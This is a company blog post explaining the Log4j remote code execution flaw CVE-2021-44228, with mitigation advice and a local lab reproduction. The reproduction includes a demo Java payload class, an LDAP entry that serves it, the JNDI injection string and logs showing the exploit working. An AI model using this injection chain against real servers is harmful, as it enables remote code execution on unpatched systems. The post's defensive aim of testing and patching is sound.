icon-arrow icon-check icon-mail icon-phone icon-facebook icon-linkedin icon-youtube icon-twitter icon-cheveron icon-download icon-instagram play close close icon-arrow-uturn icon-calendar icon-clock icon-search icon-chevron-process icon-skills icon-knowledge icon-kite icon-education icon-languages icon-tools icon-experience icon-coffee-cup
Werken bij Integration & Application Talents
Blog 15/12/2021

Dive into the CVE-2021-44228 Log4j exploit

Safety

The last couple of days for a lot of Java developers were probably all about checking for Log4j dependencies and versions. All of this after a severe vulnerability was discovered in the library, that allows unauthenticated Remote Code Execution (RCE) in case of a user-controlled text being logged. Since Log4j is a widely used library for Java applications, a lot of applications and frameworks were impacted.

Mike Heeren Integratie interim expert bij Integration & Application Talents
Mike Heeren /
Integratie expert

Users of Log4j versions 2.0 to 2.15.0 (both included) were impacted by the vulnerability. Earlier, the latest impacted version was communicated to be 2.14.1, and the fix was implemented in 2.15.0. However, it turned out that 2.15.0 did not fix all scenarios in certain non-default configurations. Therefore, another Common Vulnerabilities and Exposures (CVE) was registered: CVE-2021-45046. This has been resolved in version 2.16.0.

Mitigating the vulnerability

On the Log4j website you can already find the mitigation strategies:

  • Log4j 1.x: These versions do not have lookups, so the risk is lower. Users are only vulnerable when JNDI is used in their configuration. A separate CVE was registered for this: CVE-2021-4104. However, as also stated on the Log4j site, version 1.x has reached end of life and is no longer supported. New vulnerabilities will not be checked and fixed anymore. So if you are still relying on this version, it’s probably a good idea to upgrade to the latest Log4j version.
  • Log4j 2.x on Java 8 or later: Users should upgrade to version 2.16.0.
  • Log4j 2.x on Java 7: Users should upgrade to version 2.12.2.
  • When upgrading to the latest version is not an option, you could also remove the JndiLookup class from your classpath. This can be achieved by executing the following statement:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Some other mitigation measures that were mentioned in an earlier stage, like setting the log4j2.formatMsgNoLookups system property or LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true for versions 2.10 and higher, have been marked as insufficient. The discovery was made that these mitigations only limit exposure, but some attacking possibilities remain.

Reproduction of the vulnerability

For testing if your application is vulnerable, it’s easy to first try to reproduce the issue. Because a lot of applications were impacted and a lot of developers have been working on mitigating the problems, a lot of blogs can already be found about how the vulnerability can be exploited by attackers. Different attacking methods are already being described.

In our case we tried to reproduce the attacking method of putting a JNDI LDAP URL in a user-controlled field, that’s also being logged.

Step 1: Create a malicious Java class

To start, we create a “malicious” Java class. In the below class we defined a static block (so it will be executed as soon as the class is loaded). Here we execute our “malicious” code. In our case we will just write a simple file to the tmp directory. But you can probably imagine that someone could put a lot more harmful code in this block:

import java.io.FileOutputStream;
import java.io.IOException;
import java.time.ZonedDateTime;

public class MaliciousObject {

    static {
        try (FileOutputStream fos = new FileOutputStream("/tmp/malicious-file.txt")) {
            fos.write(("Log4j successfully exploited on " + ZonedDateTime.now()).getBytes());
        } catch (IOException e) {
            // Noop
        }
    }

}

 

Step 2: Serve malicious object via LDAP

The next step is to setup an LDAP server to serve the malicious object. For this we created a Docker container running an OpenLDAP server. This server was configured to allow anonymous read-only access. Below you can find the representation of the MaliciousObject as we added it into the LDAP directory:

dn: cn=MaliciousObject,dc=example,dc=org
objectClass: javaContainer
objectClass: javaNamingReference
cn: MaliciousObject
javaClassName: MaliciousObject
javaCodebase: http://localhost/
javaFactory: MaliciousObject

As you can see, this LDAP entry basically just points to a compiled instance of the MaliciousObject, that can be loaded from an external HTTP endpoint. When a JNDI lookup would be performed from a JVM, this would lead to a GET method call to http://localhost/MaliciousObject.class, in an attempt to load the compiled class.

Step 3: Serve malicious object on HTTP Java Codebase

Of course, to make the JVM actually load the malicious object, we have to serve the compiled class on the endpoint mentioned above. To achieve this we used another Docker container, running the Nginx (web)server.

Here, Nginx was configured to serve the compiled class when requesting the previously mentioned URL.

Step 4: Test application to exploit the vulnerability

Now that we have setup both the LDAP and the HTTP Java Codebase with malicious intents, it’s time to see if we can actually exploit the vulnerability. To do this, we created a simple Java application and added the log4j-api and log4j-core libraries (both version 2.14.1, the last version that was “fully” vulnerably to the exploits).

In this application we add a simple main method where we will perform a log statement. In a production-like environment, this will probably not be a static string, but a dynamic string based on user input. For example: a Java REST API that is logging the request headers. When a malicious user would try to insert ${jndi:ldap://localhost:389/cn=MaliciousObject,dc=example,dc=org} into one of these headers, a similar entry would be logged via Log4j:

package nl.whitehorses.log4jexploit;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {

    private static final Logger LOG = LogManager.getLogger(Main.class);

    public static void main(String... args) {
        LOG.info("TEST: ${jndi:ldap://localhost:389/cn=MaliciousObject,dc=example,dc=org}");
    }

}

When we run the above method with JDK version 8u181, we see the following output.

Note: The JDK version is important here, because starting from 6u211, 7u201, 8u191 and 11.0.1 the default value for the com.sun.jndi.ldap.object.trustURLCodebase variable has been adjusted to false, which also (partially) mitigates the vulnerability.

2021-12-15 00:00:00 INFO  Main:10 - TEST: ${jndi:ldap://localhost:389/cn=MaliciousObject,dc=example,dc=org}

So far, everything looks normal. The console printed exactly what we asked it to do. However, when we look at the logging from our Docker images, we can also see that both the LDAP and the Nginx servers were requested:

LDAP  : ******** conn=1002 fd=12 ACCEPT from IP=***.**.*.*:***** (IP=0.0.0.0:389)
LDAP  : ******** conn=1002 op=0 BIND dn="" method=128
LDAP  : ******** conn=1002 op=0 RESULT tag=97 err=0 text=
LDAP  : ******** conn=1002 op=1 SRCH base="cn=MaliciousObject,dc=example,dc=org" scope=0 deref=3 filter="(objectClass=*)"
LDAP  : ******** conn=1002 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text=
NGINX : ***.**.*.* - - [15/Dec/2021:00:00:00 +0000] "GET /MaliciousObject.class HTTP/1.1" 200 1260 "-" "Java/1.8.0_181" "-"

Also, when we take another look at our tmp folder, we now see that the file malicious-file.txt was created, with the following content:

Log4j successfully exploited on 2021-12-15T00:00:00.000+01:00[Europe/Berlin]

 

Conclusion

What surprised me is how easily exploitable this vulnerability is. With a simple Java class, and just 35 (!!) lines of basic configuration we were able to “trick” the test application into loading and executing potentially malicious code on our machine.

This once again shows the importance of keeping your library versions up-to-date, and installing the latest security patches as soon as possible!

 

Sources

https://logging.apache.org/log4j/2.x/security.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

https://www.cnblogs.com/yyhuni/p/15088134.html (Translated to English)

Geen reacties

Geef jouw mening

Reactie plaatsen

Reactie toevoegen

Jouw e-mailadres wordt niet openbaar gemaakt.

Geen HTML

  • Geen HTML toegestaan.
  • Regels en alinea's worden automatisch gesplitst.
  • Web- en e-mailadressen worden automatisch naar links omgezet.
Mike Heeren Integratie interim expert bij Integration & Application Talents
Mike Heeren /
Integratie expert

Wil je deel uitmaken van een groep gedreven en ambitieuze experts? Stuur ons jouw cv!